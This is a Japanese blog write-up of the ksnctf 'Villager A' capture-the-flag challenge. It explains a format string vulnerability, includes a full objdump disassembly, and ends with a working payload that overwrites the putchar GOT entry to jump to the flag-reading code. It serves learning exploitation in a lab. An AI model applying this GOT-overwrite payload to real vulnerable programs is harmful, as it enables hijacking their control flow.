さえめろ の めも🐰

さえめろの備忘録です。twitter : @sae_mero_

ksnctf #4「Villager A」

問題

ksnctf - 4 Villager A



解答までの道

とりあえず、記載のsshにログインしてみます。
macのターミナルからそのまま入りました。

$ ssh -p 10022 q4@ctfq.sweetduet.info


入れたら、lsでファイルを見てみる。

$ ls
flag.txt  q4  readme.txt


flag.txtというファイルが明らかに答え載ってそうなのでcatで閲覧を試みましたが、管理者のみの閲覧制限がかかっていました。流石にそこまで甘くない。

次に、q4というファイルを実行。

$ ./q4
What's your name?
saemero
Hi, saemero

Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.

なんやねん。
flagが欲しいか?と延々と聞かれ、noと答えるまで解放してくれないようです。

にっちもさっちも行かないので、googleで先人の知恵を拝借しました。


どうやら書式文字列攻撃なるものがこの問題のキモっぽい。

printf()などの書式指定文字列(フォーマットストリング)に対し、ユーザーの入力をフォーマットストリングとして処理させる攻撃で、プログラム側が書式指定をしていない時に発生。

例えば、%xでスタックの中身を表示させたり、%nでメモリを書き換えることにより、ユーザ側が不正なコードを実行させたりできるようになるそう。

つまり、今回はユーザーが名前を入力した際に、「Hi, ~~~~~~」とそのまま名前を返してしまう部分にとっても問題があるということになります。


これらを踏まえて、先ほどのq4に対して%xで攻撃を仕掛けてみます。

$ echo -e "aaa,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, aaa,400,8868c0,8,14,6f0fc4,2c616161,252c7825

aaa = 616161なので、オフセットは6。

ただ後で気づいたのが、このファイルはどうやらELF-32bitだったようなので、入力文字列はaaaではなくaaaaの方が良かったということです。
今回は普通に大丈夫だったのでそのまま進めます。

objdumpで逆アセンブル
そのままはっつけたのでめちゃめちゃ長いです。

objdump -d -g q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	53                   	push   %ebx
 8048428:	83 ec 04             	sub    $0x4,%esp
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
 8048430:	5b                   	pop    %ebx
 8048431:	81 c3 a0 15 00 00    	add    $0x15a0,%ebx
 8048437:	8b 93 fc ff ff ff    	mov    -0x4(%ebx),%edx
 804843d:	85 d2                	test   %edx,%edx
 804843f:	74 05                	je     8048446 <_init+0x22>
 8048441:	e8 1e 00 00 00       	call   8048464 <__gmon_start__@plt>
 8048446:	e8 45 01 00 00       	call   8048590 <frame_dummy>
 804844b:	e8 00 03 00 00       	call   8048750 <__do_global_ctors_aux>
 8048450:	58                   	pop    %eax
 8048451:	5b                   	pop    %ebx
 8048452:	c9                   	leave  
 8048453:	c3                   	ret    

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
 8048454:	ff 35 d4 99 04 08    	pushl  0x80499d4
 804845a:	ff 25 d8 99 04 08    	jmp    *0x80499d8
 8048460:	00 00                	add    %al,(%eax)
	...

08048464 <__gmon_start__@plt>:
 8048464:	ff 25 dc 99 04 08    	jmp    *0x80499dc
 804846a:	68 00 00 00 00       	push   $0x0
 804846f:	e9 e0 ff ff ff       	jmp    8048454 <_init+0x30>

08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    *0x80499e4
 804848a:	68 10 00 00 00       	push   $0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <_init+0x30>

08048494 <__libc_start_main@plt>:
 8048494:	ff 25 e8 99 04 08    	jmp    *0x80499e8
 804849a:	68 18 00 00 00       	push   $0x18
 804849f:	e9 b0 ff ff ff       	jmp    8048454 <_init+0x30>

080484a4 <fopen@plt>:
 80484a4:	ff 25 ec 99 04 08    	jmp    *0x80499ec
 80484aa:	68 20 00 00 00       	push   $0x20
 80484af:	e9 a0 ff ff ff       	jmp    8048454 <_init+0x30>

080484b4 <printf@plt>:
 80484b4:	ff 25 f0 99 04 08    	jmp    *0x80499f0
 80484ba:	68 28 00 00 00       	push   $0x28
 80484bf:	e9 90 ff ff ff       	jmp    8048454 <_init+0x30>

080484c4 <puts@plt>:
 80484c4:	ff 25 f4 99 04 08    	jmp    *0x80499f4
 80484ca:	68 30 00 00 00       	push   $0x30
 80484cf:	e9 80 ff ff ff       	jmp    8048454 <_init+0x30>

080484d4 <__gxx_personality_v0@plt>:
 80484d4:	ff 25 f8 99 04 08    	jmp    *0x80499f8
 80484da:	68 38 00 00 00       	push   $0x38
 80484df:	e9 70 ff ff ff       	jmp    8048454 <_init+0x30>

080484e4 <strcmp@plt>:
 80484e4:	ff 25 fc 99 04 08    	jmp    *0x80499fc
 80484ea:	68 40 00 00 00       	push   $0x40
 80484ef:	e9 60 ff ff ff       	jmp    8048454 <_init+0x30>

Disassembly of section .text:

08048500 <_start>:
 8048500:	31 ed                	xor    %ebp,%ebp
 8048502:	5e                   	pop    %esi
 8048503:	89 e1                	mov    %esp,%ecx
 8048505:	83 e4 f0             	and    $0xfffffff0,%esp
 8048508:	50                   	push   %eax
 8048509:	54                   	push   %esp
 804850a:	52                   	push   %edx
 804850b:	68 e0 86 04 08       	push   $0x80486e0
 8048510:	68 f0 86 04 08       	push   $0x80486f0
 8048515:	51                   	push   %ecx
 8048516:	56                   	push   %esi
 8048517:	68 b4 85 04 08       	push   $0x80485b4
 804851c:	e8 73 ff ff ff       	call   8048494 <__libc_start_main@plt>
 8048521:	f4                   	hlt    
 8048522:	90                   	nop
 8048523:	90                   	nop
 8048524:	90                   	nop
 8048525:	90                   	nop
 8048526:	90                   	nop
 8048527:	90                   	nop
 8048528:	90                   	nop
 8048529:	90                   	nop
 804852a:	90                   	nop
 804852b:	90                   	nop
 804852c:	90                   	nop
 804852d:	90                   	nop
 804852e:	90                   	nop
 804852f:	90                   	nop

08048530 <__do_global_dtors_aux>:
 8048530:	55                   	push   %ebp
 8048531:	89 e5                	mov    %esp,%ebp
 8048533:	53                   	push   %ebx
 8048534:	8d 64 24 fc          	lea    -0x4(%esp),%esp
 8048538:	80 3d 08 9a 04 08 00 	cmpb   $0x0,0x8049a08
 804853f:	75 3e                	jne    804857f <__do_global_dtors_aux+0x4f>
 8048541:	bb e4 98 04 08       	mov    $0x80498e4,%ebx
 8048546:	a1 0c 9a 04 08       	mov    0x8049a0c,%eax
 804854b:	81 eb e0 98 04 08    	sub    $0x80498e0,%ebx
 8048551:	c1 fb 02             	sar    $0x2,%ebx
 8048554:	83 eb 01             	sub    $0x1,%ebx
 8048557:	39 d8                	cmp    %ebx,%eax
 8048559:	73 1d                	jae    8048578 <__do_global_dtors_aux+0x48>
 804855b:	90                   	nop
 804855c:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8048560:	83 c0 01             	add    $0x1,%eax
 8048563:	a3 0c 9a 04 08       	mov    %eax,0x8049a0c
 8048568:	ff 14 85 e0 98 04 08 	call   *0x80498e0(,%eax,4)
 804856f:	a1 0c 9a 04 08       	mov    0x8049a0c,%eax
 8048574:	39 d8                	cmp    %ebx,%eax
 8048576:	72 e8                	jb     8048560 <__do_global_dtors_aux+0x30>
 8048578:	c6 05 08 9a 04 08 01 	movb   $0x1,0x8049a08
 804857f:	8d 64 24 04          	lea    0x4(%esp),%esp
 8048583:	5b                   	pop    %ebx
 8048584:	5d                   	pop    %ebp
 8048585:	c3                   	ret    
 8048586:	8d 76 00             	lea    0x0(%esi),%esi
 8048589:	8d bc 27 00 00 00 00 	lea    0x0(%edi,%eiz,1),%edi

08048590 <frame_dummy>:
 8048590:	55                   	push   %ebp
 8048591:	89 e5                	mov    %esp,%ebp
 8048593:	8d 64 24 e8          	lea    -0x18(%esp),%esp
 8048597:	a1 e8 98 04 08       	mov    0x80498e8,%eax
 804859c:	85 c0                	test   %eax,%eax
 804859e:	74 12                	je     80485b2 <frame_dummy+0x22>
 80485a0:	b8 00 00 00 00       	mov    $0x0,%eax
 80485a5:	85 c0                	test   %eax,%eax
 80485a7:	74 09                	je     80485b2 <frame_dummy+0x22>
 80485a9:	c7 04 24 e8 98 04 08 	movl   $0x80498e8,(%esp)
 80485b0:	ff d0                	call   *%eax
 80485b2:	c9                   	leave  
 80485b3:	c3                   	ret    

080485b4 <main>:
 80485b4:	55                   	push   %ebp
 80485b5:	89 e5                	mov    %esp,%ebp
 80485b7:	83 e4 f0             	and    $0xfffffff0,%esp
 80485ba:	81 ec 20 04 00 00    	sub    $0x420,%esp
 80485c0:	c7 04 24 a4 87 04 08 	movl   $0x80487a4,(%esp)
 80485c7:	e8 f8 fe ff ff       	call   80484c4 <puts@plt>
 80485cc:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 80485d1:	89 44 24 08          	mov    %eax,0x8(%esp)
 80485d5:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80485dc:	00 
 80485dd:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485e1:	89 04 24             	mov    %eax,(%esp)
 80485e4:	e8 9b fe ff ff       	call   8048484 <fgets@plt>
 80485e9:	c7 04 24 b6 87 04 08 	movl   $0x80487b6,(%esp)
 80485f0:	e8 bf fe ff ff       	call   80484b4 <printf@plt>
 80485f5:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485f9:	89 04 24             	mov    %eax,(%esp)
 80485fc:	e8 b3 fe ff ff       	call   80484b4 <printf@plt>
 8048601:	c7 04 24 0a 00 00 00 	movl   $0xa,(%esp)
 8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>
 804860d:	c7 84 24 18 04 00 00 	movl   $0x1,0x418(%esp)
 8048614:	01 00 00 00 
 8048618:	eb 67                	jmp    8048681 <main+0xcd>
 804861a:	c7 04 24 bb 87 04 08 	movl   $0x80487bb,(%esp)
 8048621:	e8 9e fe ff ff       	call   80484c4 <puts@plt>
 8048626:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 804862b:	89 44 24 08          	mov    %eax,0x8(%esp)
 804862f:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 8048636:	00 
 8048637:	8d 44 24 18          	lea    0x18(%esp),%eax
 804863b:	89 04 24             	mov    %eax,(%esp)
 804863e:	e8 41 fe ff ff       	call   8048484 <fgets@plt>
 8048643:	85 c0                	test   %eax,%eax
 8048645:	0f 94 c0             	sete   %al
 8048648:	84 c0                	test   %al,%al
 804864a:	74 0a                	je     8048656 <main+0xa2>
 804864c:	b8 00 00 00 00       	mov    $0x0,%eax
 8048651:	e9 86 00 00 00       	jmp    80486dc <main+0x128>
 8048656:	c7 44 24 04 d1 87 04 	movl   $0x80487d1,0x4(%esp)
 804865d:	08 
 804865e:	8d 44 24 18          	lea    0x18(%esp),%eax
 8048662:	89 04 24             	mov    %eax,(%esp)
 8048665:	e8 7a fe ff ff       	call   80484e4 <strcmp@plt>
 804866a:	85 c0                	test   %eax,%eax
 804866c:	75 13                	jne    8048681 <main+0xcd>
 804866e:	c7 04 24 d5 87 04 08 	movl   $0x80487d5,(%esp)
 8048675:	e8 4a fe ff ff       	call   80484c4 <puts@plt>
 804867a:	b8 00 00 00 00       	mov    $0x0,%eax
 804867f:	eb 5b                	jmp    80486dc <main+0x128>
 8048681:	8b 84 24 18 04 00 00 	mov    0x418(%esp),%eax
 8048688:	85 c0                	test   %eax,%eax
 804868a:	0f 95 c0             	setne  %al
 804868d:	84 c0                	test   %al,%al
 804868f:	75 89                	jne    804861a <main+0x66>
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)
 8048698:	08 
 8048699:	c7 04 24 e8 87 04 08 	movl   $0x80487e8,(%esp)
 80486a0:	e8 ff fd ff ff       	call   80484a4 <fopen@plt>
 80486a5:	89 84 24 1c 04 00 00 	mov    %eax,0x41c(%esp)
 80486ac:	8b 84 24 1c 04 00 00 	mov    0x41c(%esp),%eax
 80486b3:	89 44 24 08          	mov    %eax,0x8(%esp)
 80486b7:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80486be:	00 
 80486bf:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486c3:	89 04 24             	mov    %eax,(%esp)
 80486c6:	e8 b9 fd ff ff       	call   8048484 <fgets@plt>
 80486cb:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486cf:	89 04 24             	mov    %eax,(%esp)
 80486d2:	e8 dd fd ff ff       	call   80484b4 <printf@plt>
 80486d7:	b8 00 00 00 00       	mov    $0x0,%eax
 80486dc:	c9                   	leave  
 80486dd:	c3                   	ret    
 80486de:	90                   	nop
 80486df:	90                   	nop

080486e0 <__libc_csu_fini>:
 80486e0:	55                   	push   %ebp
 80486e1:	89 e5                	mov    %esp,%ebp
 80486e3:	5d                   	pop    %ebp
 80486e4:	c3                   	ret    
 80486e5:	66 66 2e 0f 1f 84 00 	data32 nopw %cs:0x0(%eax,%eax,1)
 80486ec:	00 00 00 00 

080486f0 <__libc_csu_init>:
 80486f0:	55                   	push   %ebp
 80486f1:	89 e5                	mov    %esp,%ebp
 80486f3:	57                   	push   %edi
 80486f4:	56                   	push   %esi
 80486f5:	53                   	push   %ebx
 80486f6:	e8 4f 00 00 00       	call   804874a <__i686.get_pc_thunk.bx>
 80486fb:	81 c3 d5 12 00 00    	add    $0x12d5,%ebx
 8048701:	83 ec 1c             	sub    $0x1c,%esp
 8048704:	e8 1b fd ff ff       	call   8048424 <_init>
 8048709:	8d bb 08 ff ff ff    	lea    -0xf8(%ebx),%edi
 804870f:	8d 83 08 ff ff ff    	lea    -0xf8(%ebx),%eax
 8048715:	29 c7                	sub    %eax,%edi
 8048717:	c1 ff 02             	sar    $0x2,%edi
 804871a:	85 ff                	test   %edi,%edi
 804871c:	74 24                	je     8048742 <__libc_csu_init+0x52>
 804871e:	31 f6                	xor    %esi,%esi
 8048720:	8b 45 10             	mov    0x10(%ebp),%eax
 8048723:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048727:	8b 45 0c             	mov    0xc(%ebp),%eax
 804872a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804872e:	8b 45 08             	mov    0x8(%ebp),%eax
 8048731:	89 04 24             	mov    %eax,(%esp)
 8048734:	ff 94 b3 08 ff ff ff 	call   *-0xf8(%ebx,%esi,4)
 804873b:	83 c6 01             	add    $0x1,%esi
 804873e:	39 fe                	cmp    %edi,%esi
 8048740:	72 de                	jb     8048720 <__libc_csu_init+0x30>
 8048742:	83 c4 1c             	add    $0x1c,%esp
 8048745:	5b                   	pop    %ebx
 8048746:	5e                   	pop    %esi
 8048747:	5f                   	pop    %edi
 8048748:	5d                   	pop    %ebp
 8048749:	c3                   	ret    

0804874a <__i686.get_pc_thunk.bx>:
 804874a:	8b 1c 24             	mov    (%esp),%ebx
 804874d:	c3                   	ret    
 804874e:	90                   	nop
 804874f:	90                   	nop

08048750 <__do_global_ctors_aux>:
 8048750:	55                   	push   %ebp
 8048751:	89 e5                	mov    %esp,%ebp
 8048753:	53                   	push   %ebx
 8048754:	8d 64 24 fc          	lea    -0x4(%esp),%esp
 8048758:	a1 d8 98 04 08       	mov    0x80498d8,%eax
 804875d:	83 f8 ff             	cmp    $0xffffffff,%eax
 8048760:	74 12                	je     8048774 <__do_global_ctors_aux+0x24>
 8048762:	bb d8 98 04 08       	mov    $0x80498d8,%ebx
 8048767:	90                   	nop
 8048768:	8d 5b fc             	lea    -0x4(%ebx),%ebx
 804876b:	ff d0                	call   *%eax
 804876d:	8b 03                	mov    (%ebx),%eax
 804876f:	83 f8 ff             	cmp    $0xffffffff,%eax
 8048772:	75 f4                	jne    8048768 <__do_global_ctors_aux+0x18>
 8048774:	8d 64 24 04          	lea    0x4(%esp),%esp
 8048778:	5b                   	pop    %ebx
 8048779:	5d                   	pop    %ebp
 804877a:	c3                   	ret    
 804877b:	90                   	nop

Disassembly of section .fini:

0804877c <_fini>:
 804877c:	55                   	push   %ebp
 804877d:	89 e5                	mov    %esp,%ebp
 804877f:	53                   	push   %ebx
 8048780:	83 ec 04             	sub    $0x4,%esp
 8048783:	e8 00 00 00 00       	call   8048788 <_fini+0xc>
 8048788:	5b                   	pop    %ebx
 8048789:	81 c3 48 12 00 00    	add    $0x1248,%ebx
 804878f:	e8 9c fd ff ff       	call   8048530 <__do_global_dtors_aux>
 8048794:	59                   	pop    %ecx
 8048795:	5b                   	pop    %ebx
 8048796:	c9                   	leave  
 8048797:	c3                   	ret 

この結果から

①
08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

で書き換えた値の表示を表示、そしてそれを呼び出しているのが

②
8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>

っぽいということがわかります。

で、

③
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)

からファイルの中身を表示してるようなので、
②から③を呼べれば多分flagが出てきます。

今、
・0x80499e0→0x8048691の値の変更
・オフセットが6
という情報を手に入れているので、

0x8691 - 8 = 34441
0x10804 - 0x8691 = 33139

から、

$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

で無事flagゲット!


ものすごく骨が折れる難問でした。
アセンブルやメモリ操作に関してはズブの素人なので、ネット上のありがたい情報に助けられ、なんとか解き進めることができました。

要精進。


使ったものなど

・書式文字列攻撃
書式文字列攻撃 - Wikipedia